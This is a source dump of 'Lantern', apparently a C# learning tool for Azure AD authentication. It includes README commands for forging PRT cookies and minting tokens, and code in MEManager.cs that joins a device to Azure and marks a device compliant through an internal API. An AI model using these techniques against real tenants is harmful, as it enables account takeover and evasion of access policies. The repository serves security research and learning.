├── Lantern ├── Models │ ├── DeviceCodeResp.cs │ ├── ErrorResponse.cs │ ├── DeviceEnrollmentResp.cs │ ├── DeviceEnrollmentReq.cs │ └── OpenIDConfigurationResp.cs ├── Lantern.csproj ├── Utils.cs ├── AzResourceEnum.cs ├── AzClientIDEnum.cs ├── MEManager.cs ├── Options.cs ├── Tokenator.cs ├── Helper.cs └── Program.cs ├── LICENSE ├── Lantern.sln ├── README.md └── .gitignore /Lantern/Models/DeviceCodeResp.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Lantern.Models 6 | { 7 | public class DeviceCodeResp 8 | { 9 | public string user_code { get; set; } 10 | public string device_code { get; set; } 11 | public string verification_url { get; set; } 12 | public int expires_in { get; set; } 13 | public int interval { get; set; } 14 | public string message { get; set; } 15 | } 16 | 17 | } 18 | -------------------------------------------------------------------------------- /Lantern/Models/ErrorResponse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Lantern.Models 6 | { public class ErrorResponse 7 | { 8 | public string error { get; set; } 9 | public string error_description { get; set; } 10 | public int[] error_codes { get; set; } 11 | public string timestamp { get; set; } 12 | public string trace_id { get; set; } 13 | public string correlation_id { get; set; } 14 | public string error_uri { get; set; } 15 | } 16 | 17 | 18 | } 19 | -------------------------------------------------------------------------------- /Lantern/Models/DeviceEnrollmentResp.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Lantern.Models 6 | { 7 | public class DeviceEnrollmentResp 8 | { 9 | public Certificate Certificate { get; set; } 10 | public User User { get; set; } 11 | public Membershipchange[] MembershipChanges { get; set; } 12 | } 13 | 14 | public class Certificate 15 | { 16 | public string Thumbprint { get; set; } 17 | public string RawBody { get; set; } 18 | } 19 | 20 | public class User 21 | { 22 | public string Upn { get; set; } 23 | } 24 | 25 | public class Membershipchange 26 | { 27 | public string LocalSID { get; set; } 28 | public string[] AddSIDs { get; set; } 29 | } 30 | 31 | } 32 | -------------------------------------------------------------------------------- /Lantern/Lantern.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | netcoreapp3.1 6 | 0.0.1 7 | @caspar___ 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Lantern/Utils.cs: -------------------------------------------------------------------------------- 1 | using Lantern.Models; 2 | using Newtonsoft.Json; 3 | using Newtonsoft.Json.Linq; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Text; 7 | 8 | namespace Lantern 9 | { 10 | class Utils 11 | { 12 | 13 | public static String GetTenantIdToDomain(string Domain, String Proxy) 14 | { 15 | String result = null; 16 | result = Helper.GetOpenIDConfiguration(Domain, Proxy); 17 | if (result == null) 18 | { 19 | return null; 20 | } 21 | var resultParsed = JsonConvert.DeserializeObject(result); 22 | if (resultParsed.authorization_endpoint != null) { 23 | result = resultParsed.authorization_endpoint.Split("/")[3]; 24 | }else{ 25 | return null; 26 | } 27 | return result; 28 | } 29 | 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /Lantern/Models/DeviceEnrollmentReq.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Lantern.Models 6 | { 7 | 8 | public class DeviceEnrollmentReq 9 | { 10 | public string TransportKey { get; set; } 11 | public int JoinType { get; set; } 12 | public string DeviceDisplayName { get; set; } 13 | public string OSVersion { get; set; } 14 | public Certificaterequest CertificateRequest { get; set; } 15 | public string TargetDomain { get; set; } 16 | public string DeviceType { get; set; } 17 | public Attributes Attributes { get; set; } 18 | } 19 | 20 | public class Certificaterequest 21 | { 22 | public string Type { get; set; } 23 | public string Data { get; set; } 24 | } 25 | 26 | public class Attributes 27 | { 28 | public string ReuseDevice { get; set; } 29 | public string ReturnClientSid { get; set; } 30 | public string SharedDevice { get; set; } 31 | } 32 | } -------------------------------------------------------------------------------- /Lantern/AzResourceEnum.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Lantern 6 | { 7 | public static class AzResourceEnum 8 | { 9 | public const string GraphAPI = "https://graph.windows.net"; 10 | public const string AzureMDM = "https://enrollment.manage.microsoft.com"; 11 | public const string Outlook = "https://outlook.office365.com"; 12 | public const string Substrate = "https://substrate.office.com"; 13 | public const string Teams = "https://api.spaces.skype.com"; 14 | public const string MSGraph = "https://graph.microsoft.com"; 15 | public const string WebShell = "https://webshell.suite.office.com"; 16 | public const string Core = "https://management.core.windows.net"; 17 | public const string OfficeApps = "https://officeapps.live.com"; 18 | public const string Intune = "https://intunemam.microsoftonline.com"; 19 | public const string WindowsClient = "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Constantin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Lantern/AzClientIDEnum.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Lantern 6 | { 7 | class AzClientIDEnum 8 | { 9 | public const string DeviceMgmt = "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"; 10 | public const string GraphAPI = "1b730954-1685-4b74-9bfd-dac224a7b894"; 11 | public const string AzureMDM = "29d9ed98-a469-4536-ade2-f981bc1d605e"; 12 | public const string Outlook = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 13 | public const string Substrate = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 14 | public const string Teams = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 15 | public const string MSGraph = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 16 | public const string WebShell = "89bee1f7-5e6e-4d8a-9f3d-ecd601259da7"; 17 | public const string Core = "d3590ed6-52b3-4102-aeff-aad2292ab01c"; 18 | public const string WindowsClient = "1b730954-1685-4b74-9bfd-dac224a7b894"; 19 | public const string OfficeApps = "ab9b8c07-8f02-4f72-87fa-80105867a763"; 20 | public const string Intune = "6c7e8096-f593-4d72-807f-a5f86dcc9c77"; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Lantern.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30717.126 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Lantern", "Lantern\Lantern.csproj", "{9B865CD9-4593-4713-8205-A50042F47CCF}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {9B865CD9-4593-4713-8205-A50042F47CCF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {9B865CD9-4593-4713-8205-A50042F47CCF}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {9B865CD9-4593-4713-8205-A50042F47CCF}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {9B865CD9-4593-4713-8205-A50042F47CCF}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {D87ACE8C-23F0-4D8C-87D3-4B627E3D2D3C} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Lantern/Models/OpenIDConfigurationResp.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace Lantern.Models 6 | { 7 | public class OpenIDConfigurationResp 8 | { 9 | public string token_endpoint { get; set; } 10 | public string[] token_endpoint_auth_methods_supported { get; set; } 11 | public string jwks_uri { get; set; } 12 | public string[] response_modes_supported { get; set; } 13 | public string[] subject_types_supported { get; set; } 14 | public string[] id_token_signing_alg_values_supported { get; set; } 15 | public string[] response_types_supported { get; set; } 16 | public string[] scopes_supported { get; set; } 17 | public string issuer { get; set; } 18 | public bool microsoft_multi_refresh_token { get; set; } 19 | public string authorization_endpoint { get; set; } 20 | public string device_authorization_endpoint { get; set; } 21 | public bool http_logout_supported { get; set; } 22 | public bool frontchannel_logout_supported { get; set; } 23 | public string end_session_endpoint { get; set; } 24 | public string[] claims_supported { get; set; } 25 | public string check_session_iframe { get; set; } 26 | public string userinfo_endpoint { get; set; } 27 | public string kerberos_endpoint { get; set; } 28 | public string tenant_region_scope { get; set; } 29 | public string cloud_instance_name { get; set; } 30 | public string cloud_graph_host_name { get; set; } 31 | public string msgraph_host { get; set; } 32 | public string rbac_url { get; set; } 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /Lantern/MEManager.cs: -------------------------------------------------------------------------------- 1 | using Lantern.Models; 2 | using Newtonsoft.Json; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Net.Http; 6 | using System.Net.Http.Headers; 7 | using System.Text; 8 | 9 | namespace Lantern 10 | { 11 | class MEManager 12 | { 13 | public static DeviceEnrollmentResp addNewDeviceToAzure(string proxy, string accesstoken, string certificaterequest, string transportKey, string targetDomain, string deviceDisplayName, bool registerDevice) 14 | { 15 | using (var client = Helper.getDefaultClient(proxy, false, "https://enterpriseregistration.windows.net")) 16 | using (var message = new HttpRequestMessage(HttpMethod.Post, "/EnrollmentServer/device/?api-version=1.0")) 17 | { 18 | //message.Headers.Add("Authorization", "Bearer " + accesstoken); 19 | message.Headers.Authorization = new AuthenticationHeaderValue("Bearer", accesstoken); 20 | message.Headers.TryAddWithoutValidation("Content-Type", "application/json; charset=utf-8"); 21 | 22 | int jointype = 0; 23 | if (registerDevice) 24 | { 25 | jointype = 4; 26 | } 27 | 28 | var body = new DeviceEnrollmentReq 29 | { 30 | TransportKey = transportKey, 31 | JoinType = jointype, 32 | DeviceDisplayName = deviceDisplayName, 33 | OSVersion = "10.0.19041.804", 34 | CertificateRequest = new Certificaterequest 35 | { 36 | Data = certificaterequest, 37 | Type = "pkcs10" 38 | }, 39 | TargetDomain = targetDomain, 40 | DeviceType = "Windows", 41 | Attributes = new Attributes 42 | { 43 | ReturnClientSid = "true", 44 | ReuseDevice = "true", 45 | SharedDevice = "false" 46 | } 47 | }; 48 | 49 | var content = new StringContent(JsonConvert.SerializeObject(body, Formatting.Indented)); 50 | message.Content = content; 51 | var response = client.SendAsync(message).Result; 52 | if (response.IsSuccessStatusCode) 53 | { 54 | var result = response.Content.ReadAsStringAsync().Result; 55 | var devEnrollmentResp = JsonConvert.DeserializeObject(result); 56 | return devEnrollmentResp; 57 | } 58 | } 59 | return null; 60 | } 61 | 62 | public static int MarkDeviceAsCompliant(string ObjectID, String accesstoken, String Proxy) 63 | { 64 | String tenantid = Helper.GetTenantFromAccessToken(accesstoken); 65 | String uri = "/" + tenantid + "/devices/" + ObjectID + "?api-version=1.61-internal"; 66 | return Helper.PatchRequest(uri, accesstoken, Proxy); 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Lantern 2 | 3 | This repo is not maintained anymore. Moved to [SharpAzToken](https://github.com/HackmichNet/SharpAzToken). 4 | 5 | Lantern is a small tool I created to learn about Azure authentication, tokens and C#. Maybe It helps you to learn, too. The code for authentication, is mainly adapted from [auth.py](https://github.com/dirkjanm/ROADtools/blob/master/roadlib/roadtools/roadlib/auth.py) of [roadtools](https://github.com/dirkjanm/ROADtools) from [Dirk-Jan](https://twitter.com/_dirkjan) and ported to c#. All credits for the authentication part goes to him. 6 | 7 | How Azure PRT works is mainly described in these two articles: 8 | 9 | * [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 10 | * [https://dirkjanm.io/digging-further-into-the-primary-refresh-token/](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 11 | 12 | Additionally, I started to implement Azure Device Join and to learn about that. Here I copied and adapted the code mainly from [AADInternals](https://github.com/Gerenios/AADInternals). Here all credits goes to [Dr. Nestori Syynimaa](https://twitter.com/DrAzureAD). If you want to learn more about device join I can recommend reading [this](https://o365blog.com/) blog. 13 | 14 | At the moment you can request some tokens in various ways and join a device to Azure. Additionally you can use this device the get PRT and a session key. More is coming. 15 | 16 | **Note:** This tools is for learning and it is in pre-, pre-, pre- (what comes before alpha?) status. 17 | 18 | ## Compiling 19 | 20 | You can build it with VisualStudio 2019 and .NetCore. Simple open the project and compile it. I tested it for Windows and Linux. 21 | 22 | ## Usage 23 | 24 | ### Proxy 25 | 26 | You can always see whats going on if you add a proxy. For example like: 27 | 28 | ``` 29 | --proxy http://127.0.0.1:8080 30 | ``` 31 | 32 | Tipp: Disable HTTP2 support on your proxy. The library I use does not support HTTP2 and I had problems with burp, if I didn't disable HTTP2. 33 | 34 | ### Help 35 | 36 | ``` 37 | .\Lantern.exe --help 38 | 39 | 40 | .____ __ 41 | | | _____ _____/ |_ ___________ ____ 42 | | | \__ \ / \ __\/ __ \_ __ \/ \ 43 | | |___ / __ \| | \ | \ ___/| | \/ | \ 44 | |_______ (____ /___| /__| \___ >__| |___| / 45 | \/ \/ \/ \/ \/ 46 | 47 | Lantern 0.0.1-alpha 48 | 49 | p2pcert Ask for a P2P Certificate. 50 | nonce Request a nonce from Azure. 51 | cookie Create a PRT Cookie for further usage or your browser. 52 | token Play with Azure Tokens. 53 | mdm Do things with Intune like joining a device 54 | devicekeys Play with Device Keys - Ask for PRT and SessionKey for a 55 | certificate. 56 | utils Some arbitrary usefull functions. 57 | help Display more information on a specific command. 58 | version Display version information. 59 | 60 | 61 | ``` 62 | 63 | ### Nonce 64 | 65 | Request a nonce you can use the following command: 66 | 67 | ```cmd 68 | Lantern.exe nonce 69 | ``` 70 | 71 | ### PRT-Cookie 72 | 73 | Create a PRT-Cookie for the browser you can use: 74 | 75 | ```cmd 76 | Lantern.exe cookie --derivedkey --context --prt 77 | ``` 78 | 79 | ```cmd 80 | Lantern.exe cookie --sessionkey --prt 81 | ``` 82 | 83 | ### Token 84 | 85 | Create tokens in various combination and play with them: 86 | 87 | ```cmd 88 | Lantern.exe token --derivedkey --context --prt 89 | ``` 90 | 91 | ```cmd 92 | Lantern.exe token --prtcookie 93 | ``` 94 | 95 | ```cmd 96 | Lantern.exe token --username --password 97 | ``` 98 | 99 | ```cmd 100 | Lantern.exe token --refreshtoken 101 | ``` 102 | 103 | ```cmd 104 | Lantern.exe token --refreshtoken --clientname Office 105 | ``` 106 | 107 | ### Join a device or mark a device as compliant 108 | 109 | Join a device: 110 | 111 | ```cmd 112 | Lantern.exe mdm --joindevice --accesstoken (or some combination from the token part) --devicename --outpfxfile 113 | ``` 114 | 115 | ### Device Keys 116 | 117 | Generate PRT and Session Key 118 | 119 | ```cmd 120 | 121 | Lanter.exe devicekeys --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---username + --password ) 122 | 123 | ``` 124 | -------------------------------------------------------------------------------- /Lantern/Options.cs: -------------------------------------------------------------------------------- 1 | using CommandLine; 2 | 3 | 4 | namespace Lantern 5 | { 6 | 7 | [Verb("default", HelpText = "Default options, not visible")] 8 | class DefaultOptions 9 | { 10 | [Option(HelpText = "Set Proxy")] 11 | public string Proxy { get; set; } 12 | } 13 | 14 | [Verb("devicekeys", HelpText = "Play with Device Keys - Ask for PRT and SessionKey for a certificate.")] 15 | class DeviceKeyOptions : DefaultOptions 16 | { 17 | [Option(HelpText = "Specify path to device certificate (PFX).", Required = true)] 18 | public string PFXPath { get; set; } 19 | 20 | [Option(HelpText = "Set Tenant")] 21 | public string Tenant { get; set; } 22 | 23 | [Option(HelpText = "Set username")] 24 | public string UserName { get; set; } 25 | 26 | [Option(HelpText = "Set password")] 27 | public string Password { get; set; } 28 | 29 | [Option(HelpText = "Set Refreshtoken")] 30 | public string RefreshToken { get; set; } 31 | } 32 | 33 | [Verb("p2pcert", HelpText = "Ask for a P2P Certificate.")] 34 | class P2POptions : DefaultOptions 35 | { 36 | [Option(HelpText = "Specify path to device certificate (PFX).")] 37 | public string PFXPath { get; set; } 38 | [Option(HelpText = "Specify a password for the certificate", Default = "")] 39 | public string PFXPassword { get; set; } 40 | 41 | [Option(HelpText = "Device Name")] 42 | public string DeviceName { get; set; } 43 | 44 | [Option(HelpText = "Set Tenant")] 45 | public string Tenant { get; set; } 46 | 47 | [Option(HelpText = "Set username")] 48 | public string UserName { get; set; } 49 | 50 | [Option(HelpText = "Set password")] 51 | public string Password { get; set; } 52 | 53 | [Option(HelpText = "Set PRT")] 54 | public string PRT { get; set; } 55 | 56 | [Option(HelpText = "Set Session Key")] 57 | public string SessionKey { get; set; } 58 | 59 | [Option(HelpText = "Set DerivedKey")] 60 | public string DerivedKey { get; set; } 61 | 62 | [Option(HelpText = "Set Context")] 63 | public string Context { get; set; } 64 | } 65 | 66 | [Verb("nonce", HelpText = "Request a nonce from Azure.")] 67 | class NonceOptions : DefaultOptions 68 | { 69 | } 70 | 71 | [Verb("utils", HelpText = "Some arbitrary usefull functions.")] 72 | class UtilsOptions : DefaultOptions 73 | { 74 | [Option(HelpText = "Resolve a domain to a TenantID")] 75 | public string Domain { get; set; } 76 | } 77 | 78 | [Verb("cookie", HelpText = "Create a PRT Cookie for further usage or your browser.")] 79 | class CookieOptions : DefaultOptions 80 | { 81 | [Option(HelpText = "Set PRT")] 82 | public string PRT { get; set; } 83 | 84 | [Option(HelpText = "Set DerivedKey")] 85 | public string DerivedKey { get; set; } 86 | 87 | [Option(HelpText = "Set Context")] 88 | public string Context { get; set; } 89 | 90 | [Option(HelpText = "Set Session Key")] 91 | public string SessionKey { get; set; } 92 | } 93 | [Verb("token", HelpText = "Play with Azure Tokens.")] 94 | class TokenOptions : DefaultOptions 95 | { 96 | [Option(HelpText = "Set PRT")] 97 | public string PRT { get; set; } 98 | 99 | [Option(HelpText = "Set Session Key")] 100 | public string SessionKey { get; set; } 101 | 102 | [Option(HelpText = "Use DeviceCode authentication", Default = false)] 103 | public bool Devicecode{ get; set; } 104 | 105 | [Option(HelpText = "Set DerivedKey")] 106 | public string DerivedKey { get; set; } 107 | 108 | [Option(HelpText = "Set Context")] 109 | public string Context { get; set; } 110 | 111 | [Option(HelpText = "Set Refreshtoken")] 112 | public string RefreshToken { get; set; } 113 | 114 | [Option(HelpText = "Set PRTCookie")] 115 | public string PrtCookie { get; set; } 116 | 117 | [Option(HelpText = "Set ClientID (ApplicationID), for example GraphAPI (1b730954-1685-4b74-9bfd-dac224a7b894)", Default = "1b730954-1685-4b74-9bfd-dac224a7b894")] 118 | public string ClientID { get; set; } 119 | 120 | [Option(HelpText = "Set Client Secret")] 121 | public string ClientSecret { get; set; } 122 | 123 | [Option(HelpText = "Set Tenant")] 124 | public string Tenant { get; set; } 125 | 126 | [Option(HelpText = "Set username")] 127 | public string UserName { get; set; } 128 | 129 | [Option(HelpText = "Set password")] 130 | public string Password { get; set; } 131 | 132 | [Option(HelpText = "Set resource ID for access token, for example for Device Management (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9)", Default = "https://graph.windows.net")] 133 | public string ResourceID { get; set; } 134 | 135 | [Option(HelpText = "Set a client used for token request, you can choose between: Outlook, Substrate, Teams, Graph, MSGraph, Webshell, Core, Office, Intune or Windows. Or you can set custom values with --clientid and --resourceid")] 136 | public string ClientName { get; set; } 137 | 138 | } 139 | 140 | [Verb("mdm", HelpText = "Do things with Intune like joining a device")] 141 | class DeviceOptions : DefaultOptions 142 | { 143 | [Option(HelpText = "Join a device, then you need to set at least a devicename (--devicename)", Default = false)] 144 | public bool JoinDevice { get; set; } 145 | 146 | [Option(HelpText = "Mark a device as compliant, then you need to set at least the deviceid (--objectid)", Default = false)] 147 | public bool MarkCompliant { get; set; } 148 | 149 | [Option(HelpText = "Specifiy the ObjectID of the device")] 150 | public string ObjectID{ get; set; } 151 | 152 | [Option(HelpText = "Specifiy device name")] 153 | public string DeviceName { get; set; } 154 | 155 | [Option(HelpText = "Set this, if you want only register the device", Default = false)] 156 | public bool RegisterDevice { get; set; } 157 | 158 | [Option(HelpText = "Set access token - use token with --clientid 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 and --resourceid 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 or --clientname Windows")] 159 | public string AccessToken { get; set; } 160 | 161 | [Option(HelpText = "Set Tenant")] 162 | public string Tenant { get; set; } 163 | 164 | [Option(HelpText = "Set username")] 165 | public string UserName { get; set; } 166 | 167 | [Option(HelpText = "Set password")] 168 | public string Password { get; set; } 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | launchSettings.json 13 | 14 | # User-specific files (MonoDevelop/Xamarin Studio) 15 | *.userprefs 16 | 17 | # Mono auto generated files 18 | mono_crash.* 19 | 20 | # Build results 21 | [Dd]ebug/ 22 | [Dd]ebugPublic/ 23 | [Rr]elease/ 24 | [Rr]eleases/ 25 | x64/ 26 | x86/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # StyleCop 66 | StyleCopReport.xml 67 | 68 | # Files built by Visual Studio 69 | *_i.c 70 | *_p.c 71 | *_h.h 72 | *.ilk 73 | *.meta 74 | *.obj 75 | *.iobj 76 | *.pch 77 | *.pdb 78 | *.ipdb 79 | *.pgc 80 | *.pgd 81 | *.rsp 82 | *.sbr 83 | *.tlb 84 | *.tli 85 | *.tlh 86 | *.tmp 87 | *.tmp_proj 88 | *_wpftmp.csproj 89 | *.log 90 | *.vspscc 91 | *.vssscc 92 | .builds 93 | *.pidb 94 | *.svclog 95 | *.scc 96 | 97 | # Chutzpah Test files 98 | _Chutzpah* 99 | 100 | # Visual C++ cache files 101 | ipch/ 102 | *.aps 103 | *.ncb 104 | *.opendb 105 | *.opensdf 106 | *.sdf 107 | *.cachefile 108 | *.VC.db 109 | *.VC.VC.opendb 110 | 111 | # Visual Studio profiler 112 | *.psess 113 | *.vsp 114 | *.vspx 115 | *.sap 116 | 117 | # Visual Studio Trace Files 118 | *.e2e 119 | 120 | # TFS 2012 Local Workspace 121 | $tf/ 122 | 123 | # Guidance Automation Toolkit 124 | *.gpState 125 | 126 | # ReSharper is a .NET coding add-in 127 | _ReSharper*/ 128 | *.[Rr]e[Ss]harper 129 | *.DotSettings.user 130 | 131 | # TeamCity is a build add-in 132 | _TeamCity* 133 | 134 | # DotCover is a Code Coverage Tool 135 | *.dotCover 136 | 137 | # AxoCover is a Code Coverage Tool 138 | .axoCover/* 139 | !.axoCover/settings.json 140 | 141 | # Visual Studio code coverage results 142 | *.coverage 143 | *.coveragexml 144 | 145 | # NCrunch 146 | _NCrunch_* 147 | .*crunch*.local.xml 148 | nCrunchTemp_* 149 | 150 | # MightyMoose 151 | *.mm.* 152 | AutoTest.Net/ 153 | 154 | # Web workbench (sass) 155 | .sass-cache/ 156 | 157 | # Installshield output folder 158 | [Ee]xpress/ 159 | 160 | # DocProject is a documentation generator add-in 161 | DocProject/buildhelp/ 162 | DocProject/Help/*.HxT 163 | DocProject/Help/*.HxC 164 | DocProject/Help/*.hhc 165 | DocProject/Help/*.hhk 166 | DocProject/Help/*.hhp 167 | DocProject/Help/Html2 168 | DocProject/Help/html 169 | 170 | # Click-Once directory 171 | publish/ 172 | 173 | # Publish Web Output 174 | *.[Pp]ublish.xml 175 | *.azurePubxml 176 | # Note: Comment the next line if you want to checkin your web deploy settings, 177 | # but database connection strings (with potential passwords) will be unencrypted 178 | *.pubxml 179 | *.publishproj 180 | 181 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 182 | # checkin your Azure Web App publish settings, but sensitive information contained 183 | # in these scripts will be unencrypted 184 | PublishScripts/ 185 | 186 | # NuGet Packages 187 | *.nupkg 188 | # NuGet Symbol Packages 189 | *.snupkg 190 | # The packages folder can be ignored because of Package Restore 191 | **/[Pp]ackages/* 192 | # except build/, which is used as an MSBuild target. 193 | !**/[Pp]ackages/build/ 194 | # Uncomment if necessary however generally it will be regenerated when needed 195 | #!**/[Pp]ackages/repositories.config 196 | # NuGet v3's project.json files produces more ignorable files 197 | *.nuget.props 198 | *.nuget.targets 199 | 200 | # Microsoft Azure Build Output 201 | csx/ 202 | *.build.csdef 203 | 204 | # Microsoft Azure Emulator 205 | ecf/ 206 | rcf/ 207 | 208 | # Windows Store app package directories and files 209 | AppPackages/ 210 | BundleArtifacts/ 211 | Package.StoreAssociation.xml 212 | _pkginfo.txt 213 | *.appx 214 | *.appxbundle 215 | *.appxupload 216 | 217 | # Visual Studio cache files 218 | # files ending in .cache can be ignored 219 | *.[Cc]ache 220 | # but keep track of directories ending in .cache 221 | !?*.[Cc]ache/ 222 | 223 | # Others 224 | ClientBin/ 225 | ~$* 226 | *~ 227 | *.dbmdl 228 | *.dbproj.schemaview 229 | *.jfm 230 | *.pfx 231 | *.publishsettings 232 | orleans.codegen.cs 233 | 234 | # Including strong name files can present a security risk 235 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 236 | #*.snk 237 | 238 | # Since there are multiple workflows, uncomment next line to ignore bower_components 239 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 240 | #bower_components/ 241 | 242 | # RIA/Silverlight projects 243 | Generated_Code/ 244 | 245 | # Backup & report files from converting an old project file 246 | # to a newer Visual Studio version. Backup files are not needed, 247 | # because we have git ;-) 248 | _UpgradeReport_Files/ 249 | Backup*/ 250 | UpgradeLog*.XML 251 | UpgradeLog*.htm 252 | ServiceFabricBackup/ 253 | *.rptproj.bak 254 | 255 | # SQL Server files 256 | *.mdf 257 | *.ldf 258 | *.ndf 259 | 260 | # Business Intelligence projects 261 | *.rdl.data 262 | *.bim.layout 263 | *.bim_*.settings 264 | *.rptproj.rsuser 265 | *- [Bb]ackup.rdl 266 | *- [Bb]ackup ([0-9]).rdl 267 | *- [Bb]ackup ([0-9][0-9]).rdl 268 | 269 | # Microsoft Fakes 270 | FakesAssemblies/ 271 | 272 | # GhostDoc plugin setting file 273 | *.GhostDoc.xml 274 | 275 | # Node.js Tools for Visual Studio 276 | .ntvs_analysis.dat 277 | node_modules/ 278 | 279 | # Visual Studio 6 build log 280 | *.plg 281 | 282 | # Visual Studio 6 workspace options file 283 | *.opt 284 | 285 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 286 | *.vbw 287 | 288 | # Visual Studio LightSwitch build output 289 | **/*.HTMLClient/GeneratedArtifacts 290 | **/*.DesktopClient/GeneratedArtifacts 291 | **/*.DesktopClient/ModelManifest.xml 292 | **/*.Server/GeneratedArtifacts 293 | **/*.Server/ModelManifest.xml 294 | _Pvt_Extensions 295 | 296 | # Paket dependency manager 297 | .paket/paket.exe 298 | paket-files/ 299 | 300 | # FAKE - F# Make 301 | .fake/ 302 | 303 | # CodeRush personal settings 304 | .cr/personal 305 | 306 | # Python Tools for Visual Studio (PTVS) 307 | __pycache__/ 308 | *.pyc 309 | 310 | # Cake - Uncomment if you are using it 311 | # tools/** 312 | # !tools/packages.config 313 | 314 | # Tabs Studio 315 | *.tss 316 | 317 